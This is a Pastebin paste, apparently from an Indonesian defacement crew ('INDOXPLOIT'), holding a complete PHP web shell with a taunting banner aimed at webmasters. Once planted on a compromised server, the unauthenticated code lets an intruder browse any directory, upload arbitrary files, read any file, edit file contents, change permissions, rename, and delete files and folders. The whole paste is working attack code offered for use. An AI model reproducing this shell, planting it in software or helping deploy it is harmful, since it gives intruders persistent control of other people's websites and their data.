Advertisement
INDOXPLOIT

says fuck off for all nub webmaster

Aug 8th, 2019
782
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.71 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <html>
  12. <head>
  13. <link href="" rel="stylesheet" type="text/css">
  14. <title>EZ BOSQUE</title>
  15. <style>
  16. body{
  17. font-family: "Racing Sans One", cursive;
  18. background-color: black;
  19. color:white;
  20. }
  21. #content tr:hover{
  22. background-color: red;
  23. text-shadow:0px 0px 10px #fff;
  24. }
  25. #content .first{
  26. background-color: red;
  27. }
  28. table{
  29. border: 1px #000000 dotted;
  30. }
  31. a{
  32. color:white;
  33. text-decoration: none;
  34. }
  35. a:hover{
  36. color:red;
  37. text-shadow:0px 0px 10px #ffffff;
  38. }
  39. input,select,textarea{
  40. border: 1px #000000 solid;
  41. -moz-border-radius: 5px;
  42. -webkit-border-radius:5px;
  43. border-radius:5px;
  44. }
  45. </style>
  46. </head>
  47. <body>
  48. <center><img src="https://pbs.twimg.com/profile_images/793885397940047872/-uK20lWT.jpg" alt="https://pbs.twimg.com/profile_images/793885397940047872/-uK20lWT.jpg" class="shrinkToFit" width="300" height="300"></center>
  49. <h1><center><font color="red">SAYS FUCK OFF FOR ALL NUB WEBMASTER</font></center></h1>
  50. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  51. <tr><td><font color="white">Path :</font> ';
  52. if(isset($_GET['path'])){
  53. $path = $_GET['path'];
  54. }else{
  55. $path = getcwd();
  56. }
  57. $path = str_replace('\\','/',$path);
  58. $paths = explode('/',$path);
  59.  
  60. foreach($paths as $id=>$pat){
  61. if($pat == '' && $id == 0){
  62. $a = true;
  63. echo '<a href="?path=/">/</a>';
  64. continue;
  65. }
  66. if($pat == '') continue;
  67. echo '<a href="?path=';
  68. for($i=0;$i<=$id;$i++){
  69. echo "$paths[$i]";
  70. if($i != $id) echo "/";
  71. }
  72. echo '">'.$pat.'</a>/';
  73. }
  74. echo '</td></tr><tr><td>';
  75. if(isset($_FILES['file'])){
  76. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  77. echo '<font color="green">Upload Berhasil</font><br />';
  78. }else{
  79. echo '<font color="red">Upload Gagal</font><br/>';
  80. }
  81. }
  82. echo '<form enctype="multipart/form-data" method="POST">
  83. <font color="white">File Upload :</font> <input type="file" name="file" />
  84. <input type="submit" value="upload" />
  85. </form>
  86. </td></tr>';
  87. if(isset($_GET['filesrc'])){
  88. echo "<tr><td>Current File : ";
  89. echo $_GET['filesrc'];
  90. echo '</tr></td></table><br />';
  91. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  92. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  93. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  94. if($_POST['opt'] == 'chmod'){
  95. if(isset($_POST['perm'])){
  96. if(chmod($_POST['path'],$_POST['perm'])){
  97. echo '<font color="green">Change Permission Berhasil</font><br/>';
  98. }else{
  99. echo '<font color="red">Change Permission Gagal</font><br />';
  100. }
  101. }
  102. echo '<form method="POST">
  103. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  104. <input type="hidden" name="path" value="'.$_POST['path'].'">
  105. <input type="hidden" name="opt" value="chmod">
  106. <input type="submit" value="Go" />
  107. </form>';
  108. }elseif($_POST['opt'] == 'rename'){
  109. if(isset($_POST['newname'])){
  110. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  111. echo '<font color="green">Ganti Nama Berhasil</font><br/>';
  112. }else{
  113. echo '<font color="red">Ganti Nama Gagal</font><br />';
  114. }
  115. $_POST['name'] = $_POST['newname'];
  116. }
  117. echo '<form method="POST">
  118. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  119. <input type="hidden" name="path" value="'.$_POST['path'].'">
  120. <input type="hidden" name="opt" value="rename">
  121. <input type="submit" value="Go" />
  122. </form>';
  123. }elseif($_POST['opt'] == 'edit'){
  124. if(isset($_POST['src'])){
  125. $fp = fopen($_POST['path'],'w');
  126. if(fwrite($fp,$_POST['src'])){
  127. echo '<font color="green">Berhasil Edit File</font><br/>';
  128. }else{
  129. echo '<font color="red">Gagal Edit File</font><br/>';
  130. }
  131. fclose($fp);
  132. }
  133. echo '<form method="POST">
  134. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  135. <input type="hidden" name="path" value="'.$_POST['path'].'">
  136. <input type="hidden" name="opt" value="edit">
  137. <input type="submit" value="Save" />
  138. </form>';
  139. }
  140. echo '</center>';
  141. }else{
  142. echo '</table><br/><center>';
  143. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  144. if($_POST['type'] == 'dir'){
  145. if(rmdir($_POST['path'])){
  146. echo '<font color="green">Directory Terhapus</font><br/>';
  147. }else{
  148. echo '<font color="red">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>';
  149. }
  150. }elseif($_POST['type'] == 'file'){
  151. if(unlink($_POST['path'])){
  152. echo '<font color="green">File Terhapus</font><br/>';
  153. }else{
  154. echo '<font color="red">File Gagal Dihapus</font><br/>';
  155. }
  156. }
  157. }
  158. echo '</center>';
  159. if(function_exists('opendir')) {
  160.     if($opendir = opendir($path)) {
  161.         while(($readdir = readdir($opendir)) !== false) {
  162.             $scandir[] = $readdir;
  163.         }
  164.         closedir($opendir);
  165.     }
  166.     sort($scandir);
  167. } else {
  168.     $scandir = scandir($path);
  169. }
  170. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  171. <tr class="first">
  172. <td><center>Name</peller></center></td>
  173. <td><center>Size</peller></center></td>
  174. <td><center>Permission</peller></center></td>
  175. <td><center>Modify</peller></center></td>
  176. </tr>';
  177.  
  178. foreach($scandir as $dir){
  179. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  180. echo '<tr>
  181. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  182. <td><center>--</center></td>
  183. <td><center>';
  184. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  185. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  186. echo perms($path.'/'.$dir);
  187. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  188.  
  189. echo '</center></td>
  190. <td><center><form method="POST" action="?option&path='.$path.'">
  191. <select name="opt">
  192. <option value="">Select</option>
  193. <option value="delete">Delete</option>
  194. <option value="chmod">Chmod</option>
  195. <option value="rename">Rename</option>
  196. </select>
  197. <input type="hidden" name="type" value="dir">
  198. <input type="hidden" name="name" value="'.$dir.'">
  199. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  200. <input type="submit" value=">">
  201. </form></center></td>
  202. </tr>';
  203. }
  204. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  205. foreach($scandir as $file){
  206. if(!is_file($path.'/'.$file)) continue;
  207. $size = filesize($path.'/'.$file)/1024;
  208. $size = round($size,3);
  209. if($size >= 1024){
  210. $size = round($size/1024,2).' MB';
  211. }else{
  212. $size = $size.' KB';
  213. }
  214.  
  215. echo '<tr>
  216. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  217. <td><center>'.$size.'</center></td>
  218. <td><center>';
  219. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  220. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  221. echo perms($path.'/'.$file);
  222. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  223. echo '</center></td>
  224. <td><center><form method="POST" action="?option&path='.$path.'">
  225. <select name="opt">
  226. <option value="">Select</option>
  227. <option value="delete">Delete</option>
  228. <option value="chmod">Chmod</option>
  229. <option value="rename">Rename</option>
  230. <option value="edit">Edit</option>
  231. </select>
  232. <input type="hidden" name="type" value="file">
  233. <input type="hidden" name="name" value="'.$file.'">
  234. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  235. <input type="submit" value=">">
  236. </form></center></td>
  237. </tr>';
  238. }
  239. echo '</table>
  240. </div>';
  241. }
  242. echo '
  243. </body>
  244. </html>';
  245. function perms($file){
  246. $perms = fileperms($file);
  247.  
  248. if (($perms & 0xC000) == 0xC000) {
  249. // Socket
  250. $info = 's';
  251. } elseif (($perms & 0xA000) == 0xA000) {
  252. // Symbolic Link
  253. $info = 'l';
  254. } elseif (($perms & 0x8000) == 0x8000) {
  255. // Regular
  256. $info = '-';
  257. } elseif (($perms & 0x6000) == 0x6000) {
  258. // Block special
  259. $info = 'b';
  260. } elseif (($perms & 0x4000) == 0x4000) {
  261. // Directory
  262. $info = 'd';
  263. } elseif (($perms & 0x2000) == 0x2000) {
  264. // Character special
  265. $info = 'c';
  266. } elseif (($perms & 0x1000) == 0x1000) {
  267. // FIFO pipe
  268. $info = 'p';
  269. } else {
  270. // Unknown
  271. $info = 'u';
  272. }
  273.  
  274. // Owner
  275. $info .= (($perms & 0x0100) ? 'r' : '-');
  276. $info .= (($perms & 0x0080) ? 'w' : '-');
  277. $info .= (($perms & 0x0040) ?
  278. (($perms & 0x0800) ? 's' : 'x' ) :
  279. (($perms & 0x0800) ? 'S' : '-'));
  280.  
  281. // Group
  282. $info .= (($perms & 0x0020) ? 'r' : '-');
  283. $info .= (($perms & 0x0010) ? 'w' : '-');
  284. $info .= (($perms & 0x0008) ?
  285. (($perms & 0x0400) ? 's' : 'x' ) :
  286. (($perms & 0x0400) ? 'S' : '-'));
  287.  
  288. // World
  289. $info .= (($perms & 0x0004) ? 'r' : '-');
  290. $info .= (($perms & 0x0002) ? 'w' : '-');
  291. $info .= (($perms & 0x0001) ?
  292. (($perms & 0x0200) ? 't' : 'x' ) :
  293. (($perms & 0x0200) ? 'T' : '-'));
  294.  
  295. return $info;
  296. }
  297. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement